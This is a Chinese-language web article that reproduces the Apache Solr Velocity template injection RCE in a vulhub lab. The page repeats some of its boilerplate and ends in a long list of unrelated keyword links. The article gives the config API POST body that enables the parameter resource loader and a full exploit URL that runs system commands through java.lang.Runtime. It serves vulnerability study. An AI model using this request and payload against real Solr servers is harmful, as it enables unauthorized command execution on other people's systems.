Apache Solr Velocity模板注入RCE漏洞复现是怎样的
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 简介
千家信息网最后更新 2025年12月02日Apache Solr Velocity模板注入RCE漏洞复现是怎样的0x00 简介
该漏洞的产生是由于两方面的原因: 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。 Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
Apache Solr 5.x - 8.2.0,存在config API版本
自行搭建:
这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
0x00 简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x01 漏洞概述
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
0x02 影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
0x03 环境搭建
在线环境:
转发本文到朋友圈,截图发至公众号
自行搭建:
使用vulhub中CVE-2019-0193的环境进行搭建
启动vulhub环境:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/solr/CVE-2019-0193docker-compose up -d
创建名为test的Core:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建好后默认端口为8983,访问http://ip:8983 即可

0x04 漏洞利用
利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击
如上图所示的这个名称就是Core的名称
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}

然后使用公开的exp发送请求
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
即可成功执行命令
上述就是小编为大家分享的Apache Solr Velocity模板注入RCE漏洞复现是怎样的了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。
漏洞
攻击
参数
可以通过
环境
服务
名称
攻击者
服务器
模板
内容
命令
就是
插件
文件
格式
用户
资源
分析
控制
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
预防沉迷网络安全教育主题
4u服务器多少钱一个
购软件开发服务费会计科目
兰州ai服务器如何挑选
插入数据库的数据变成了问号
全国默哀关闭游戏服务器
网络安全工作是做什么的
系统服务器冗余方案
软件开发八大流程
上海交大网络安全下载
西北大学计算机网络安全
克丽缇娜软件开发
计算机网络技术专业本科院校
网络安全防范的教育
江西联通dns服务器虚拟主机
和平精英怎么看服务器分布
如何用京东商智看数据库
c 单例模式 数据库连接
常用的中 外文献检索数据库有
网络安全与技术知识点
mysql怎么更改数据库
服务器 win10
节假日数据库api
手机卡连接网络安全吗
上海现代软件开发试验设备
悬镜服务器卫士怎么样
崇明区环保网络技术参考价格
网络安全大赛要什么学历
南城金蝶管理软件开发
济南游戏软件开发招聘网